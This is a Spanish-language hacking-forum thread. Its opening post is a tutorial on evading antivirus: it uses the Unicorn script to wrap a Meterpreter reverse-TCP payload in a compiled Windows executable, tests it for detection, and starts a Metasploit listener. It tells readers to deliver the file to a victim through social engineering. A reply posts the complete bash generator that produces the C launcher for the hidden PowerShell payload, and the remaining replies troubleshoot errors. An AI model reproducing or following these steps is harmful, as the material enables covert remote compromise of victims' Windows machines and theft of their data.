Underc0de

[In]Seguridad Informática => Análisis y desarrollo de malwares => Mensaje iniciado por: ANTRAX en Mayo 25, 2017, 11:40:25 AM

Título: Evadiendo Antivirus con Unicorn
Publicado por: ANTRAX en Mayo 25, 2017, 11:40:25 AM
¿que es POWERSHELL?, Según Wikipedia:

CitarWindows PowerShell es una interfaz de consola (CLI) con posibilidad de escritura y unión de comandos por medio de instrucciones (scripts en inglés). Es mucho más rica e interactiva que sus predecesores, desde DOS hasta Windows 7. Esta interfaz de consola está diseñada para su uso por parte de administradores de sistemas, con el propósito de automatizar tareas o realizarlas de forma más controlada. Originalmente denominada como MONAD en 2003, su nombre oficial cambió al actual cuando fue lanzada al público el 25 de abril del 2006.

En definitiva es la linea de comandos de Windows pero mas mejor

Continuemos, desde powershell podemos hacer todo lo que hacemos con el mouse y aun mas cosas ya que te permite crear tareas automatizadas (siempre y cuando uno tenga los conocimientos...obviamente!)

En el ambiente de la seguridad se viene hablando de Powershell como "arma de ataque" desde el 2o1o (Dato que me ayudo MI amigo personal GOOGLE) que fue en la BLACKHAT de ese año en donde se mostró al powershell como vector de ataque (acá la diapo de esa charla, obvio en ingles).

No solo se hablaba de Powershell sino de lo jodido que era para las herramientas ANTIMALWARE y ANTIVIRUS detectar este tipo de scripts, recordemos que Powershell viene en Windows desde la version 7 SP1 y 2008 R2 en donde se instalo la versión 1.0 y hoy en día ya viene por default en todos los Windows y se encuentra en Windows 8.1 y Server 2012 R2 en la version 4.0 por lo tanto es una genial idea pensar en atacar con POWERSHELL ya que afecta a la gran mayoría de los equipos con sistemas operativos de MICROSOFT.

En este post vamos a ver un script en particular escrito en PYTHON que ahora no tengo ganas de explicar que es Python asique te dejo el link que te va a aclarar muchas dudas: http://bfy.tw/11RB

El script se basa en la técnica llamada: "downgrade en Powershell para inyectar un shellcode en memoria"

Se presento por primera vez en la DEFCON 18 (2003) VIDEO DE LA PRESENTACION


El script se llama UNICORNIO (por eso el nombre del post) básicamente genera un código en C que luego de compilarlo se obtiene un ejecutable ("win32" o ".exe" según como quieras llamarlo) y lo mejor de todo es que es 100% indetectable por los AV que existen actualmente.

1- Abrimos KALI y luego Leafpad (block de notas en KALI (Applications > Leafpad)

(https://bluescreensec.files.wordpress.com/2015/07/capturaleafpad1.jpg)

2 – Copiamos y Pegamos el script que bajamos de la pagina OFICIAL del tipito dueño en el LeafPad.

https://astr0baby.wordpress.com/2013/06/20/unicorn-2-c-source-generator/

nos queda algo así:

(https://bluescreensec.files.wordpress.com/2015/07/capturaleafpad2.jpg)

3 – Click en FILE > SAVE AS > NAME: "Unicornio.sh" en el DESKTOP (o donde te resulte mas fácil) y por ultimo click en SAVE. Con eso ya lo tenes en el escritorio del KALI.

(https://bluescreensec.files.wordpress.com/2015/07/capturaleafpad3.jpg)

4 – Luego abrimos una Shell, y nos movemos al desktop con "cd Desktop" y luego hacemos "./Unicornio.sh windows/meterpreter/reverse_tcp 192.168.133.166 443 nonuac"

    Donde dice "./Unicornio.sh" significa que vamos a usar ese script.
    Donde dice "windows/meterpreter/reverse_tcp" es el Payload que voy a usar.
    Donde dice "192.168.133.166" pones la IP del KALI que la obtenes con el comando "IFCONFIG"
    Donde dice "443" es el puerto que vamos a usar.


Se va a ejecutar algo así... si un UNICORNIO.

(https://bluescreensec.files.wordpress.com/2015/07/unicornio.jpg)

Cuando esto termine, dentro de la carpeta /root vamos a encontrar un archivo que se llama "unicorn.c"

(https://bluescreensec.files.wordpress.com/2015/07/unicornio2.jpg)

Click con el boton derecho y le damos en "Open with Leafpad", luego cuando se abre hacemos click en "EDIT" y luego en "SELECT ALL" y finalmente en "COPY".

5- Con ese "COPY" que acabamos de hacer nos dirigimos a http://www.onlinecompiler.net/ccplusplus y borramos lo que hay y pegamos lo que acabamos de copiar y le damos click en COMPILE sin tocar nada mas.

(https://bluescreensec.files.wordpress.com/2015/07/compiler.jpg)

Nos va a aparecer algo asi:

(https://bluescreensec.files.wordpress.com/2015/07/compilerdescarga.jpg)

Un archivo de nombre raro con ".EXE" lo descargamos porque ese es nuestro SCRIPT compilado para Windows. Luego vamos a la carpeta "Download" y le cambiamos el nombre a lo que nosotros queramos, yo le puse VIRUSKALQ.exe y lo moví al Desktop para mas comodidad pero cada uno hace lo que quiere.

6- Probamos que no sea detectable por los Antivirus mas Comerciales acá usamos las siguientes paginas de análisis de malware.

    https://virusscan.jotti.org/
    https://www.virustotal.com

Pueden usar las 2 o la que mas bronca les genere

Acá les muestro los resultados:

(https://bluescreensec.files.wordpress.com/2015/07/av.jpg)

Ya se, te quieres morir el Antivirus que vos tenes instalado NO LO DETECTO y ya estas pensando en cuantos otros archivos así no detecto... tenes que pensar que es 1 o 2 por cada pagina porno que visitaste así que... seguramente sean muchos jajajaja

7- El archivo malicioso se lo enviamos a la victima con ingeniería Social, pero antes en KALI tenemos que ejecutar el "LISTENER" (y no hablamos del enjuague bucal) asi que hacemos lo siguiente:

Abrimos Metasploit con el comando "msfconsole" y ejecutamos lo siguientes comandos y te va a quedar esperando que la victima haga click en el archivo malisioso:

(https://bluescreensec.files.wordpress.com/2015/07/metasploit.jpg)

Luego la victima ejecuta el archivo y listo

(https://bluescreensec.files.wordpress.com/2015/07/metasploit2.jpg)

Bien clarito WINDOWS 8.1 64 Bits..

Autor: Matías
Título: Re:Evadiendo Antivirus con Unicorn
Publicado por: redferne en Mayo 27, 2017, 04:36:03 AM
Código (bash) [Seleccionar]
#!/bin/bash
clear
echo '--------------------------------------'
echo ' Unicorn Powershell2C code generator  '
echo 'Works for Vista, Win7, Win8 32/64 bit'
echo '--------------------------------------'
if [ -z "$*" ];then 
echo 'Usage: unicorn2c.sh payload reverse_ipaddr port platform'
echo 'Example: unicorn2c.sh windows/meterpreter/reverse_tcp 192.168.1.5 443 nonuac'
echo 'Valid platforms are: nonuac uac'
exit 0
fi
case $4 in
nonuac)
echo 'Generating nonUAC unicorn.c ...'
python unicorn.py $1 $2 $3 
echo '#include <stdio.h>' > unicorn.c
echo '#include <string.h>' >> unicorn.c
echo '#include <stdlib.h>' >> unicorn.c
echo '#include <ctype.h>' >> unicorn.c
echo '#include <aclapi.h>' >> unicorn.c
echo '#include <shlobj.h>' >> unicorn.c
echo '#include <windows.h>' >> unicorn.c
echo '#pragma comment(lib, "advapi32.lib")' >> unicorn.c 
echo '#pragma comment(lib, "shell32.lib")' >> unicorn.c
echo 'int main(int argc, char *argv[])' >> unicorn.c
echo '{' >> unicorn.c
echo 'FreeConsole();' >> unicorn.c 
echo -n ' ShellExecute( NULL,NULL, "powershell.exe", "' >> unicorn.c
cat powershell_attack.txt | sed -r 's/^.{11}//' >> unicorn.c
echo -n '",NULL,NULL);' >> unicorn.c
echo '' >> unicorn.c
echo 'exit(0);' >> unicorn.c
echo '}' >> unicorn.c
todos unicorn.c
echo '[*] Exported unicorn.c To compile use cl.exe unicorn.c'
;;

uac)
echo 'Generating UAC  unicorn.c ...'
python unicorn.py $1 $2 $3
echo '#include <stdio.h>' > unicorn.c
echo '#include <string.h>' >> unicorn.c
echo '#include <stdlib.h>' >> unicorn.c
echo '#include <ctype.h>' >> unicorn.c
echo '#include <windows.h>' >> unicorn.c
echo '#include <aclapi.h>' >> unicorn.c
echo '#include <shlobj.h>' >> unicorn.c
echo '#pragma comment(lib, "advapi32.lib")' >> unicorn.c
echo '#pragma comment(lib, "shell32.lib")' >> unicorn.c
echo 'int main(int argc, char *argv[])' >> unicorn.c
echo '{' >> unicorn.c
echo 'FreeConsole();' >> unicorn.c
echo -n ' ShellExecute( NULL, "runas", "powershell.exe", "' >> unicorn.c
cat powershell_attack.txt | sed -r 's/^.{11}//' >> unicorn.c
echo -n '",NULL,NULL);' >> unicorn.c
echo '' >> unicorn.c
echo 'exit(0);' >> unicorn.c
echo '}' >> unicorn.c
todos unicorn.c
echo '[*] Exported unicorn.c To compile use cl.exe unicorn.'
;;

"")
echo 'Usage: unicorn2c.sh payload reverse_ipaddr port platform'
echo 'Example: unicorn2c.sh windows/meterpreter/reverse_tcp 192.168.1.5 443 nonuac'
echo 'Valid platforms are: nonuac, uac'
exit 0
;;
esac



inserto ese codigo en el leafpad y le llamo "unicornio.sh" lo guardo en el escritorio
abro consola ejecuto ./unicornio.sh windows/meterpreter/reverse_tcp mi-no-ip 4444 nonuac

y me da este error

Código (text) [Seleccionar]
--------------------------------------
Unicorn Powershell2C code generator 
Works for Vista, Win7, Win8 32/64 bit
--------------------------------------
Generating nonUAC unicorn.c ...
python: can't open file 'unicorn.py': [Errno 2] No such file or directory
cat: powershell_attack.txt: No existe el fichero o el directorio
./unicornio.sh: línea 35: todos: no se encontró la orden
[*] Exported unicorn.c To compile use cl.exe unicorn.c

si abro el archivo que se genera "unicornio.c" sale esto

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <aclapi.h>
#include <shlobj.h>
#include <windows.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "shell32.lib")
int main(int argc, char *argv[])
{
FreeConsole();
ShellExecute( NULL,NULL, "powershell.exe", "",NULL,NULL);
exit(0);
}


y he probado en lugar de no-ip poner la ip de kali y es lo mismo


pd:para compilar online suelo usar
https://ideone.com/

Título: Re:Evadiendo Antivirus con Unicorn
Publicado por: La-Bestia en Mayo 27, 2017, 03:22:21 PM
Interesante post. habra que probarlo  :) ;D Cuando tenga duda lo publicare.

Primera duda esto es como una especie de "crypter"?
Título: Re:Evadiendo Antivirus con Unicorn
Publicado por: ANTRAX en Mayo 27, 2017, 08:23:43 PM
No, es un metodo de evasión

Saludos,
ANTRAX
Título: Re:Evadiendo Antivirus con Unicorn
Publicado por: aphiaminuta en Junio 09, 2017, 06:57:21 PM
Antes que nada mi reconocimiento y agradecimiento a la labor de nuestro compañero Antrax. Pues bien dicho esto expongo mi duda: al ejecutar el script Unicornio.sh me genera un archivo .rc y no .c. A qué puede deberse el problema. Perdón por mi ignorancia y gracias de nuevo.
Título: Re:Evadiendo Antivirus con Unicorn
Publicado por: KiddArabic en Septiembre 23, 2017, 09:58:04 AM
no lo encuentro ahora!
Título: Re:Evadiendo Antivirus con Unicorn
Publicado por: blackdrake en Octubre 15, 2017, 10:32:58 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
no lo encuentro ahora!

https://github.com/trustedsec/unicorn

Un saludo.
Título: Re:Evadiendo Antivirus con Unicorn
Publicado por: XxironsidexX en Marzo 23, 2018, 10:58:21 PM
Buenas.
tengo un error al copilar el archivo al parecer me saca error en la copilacion a que se deberia esto?
Título: Re:Evadiendo Antivirus con Unicorn
Publicado por: Belcebu en Enero 08, 2019, 07:19:09 AM
hola lo extraño es que cuando hago "./Unicornio.sh windows/meterpreter/reverse_tcp 192.168.133.166 443 nonuac" oviamente con la ip de Kali, se crean los archivos powershell atac.txt y unicorn.rc pero no encuentro por ningún lado el unicorn.c

alguien me puede ayudar???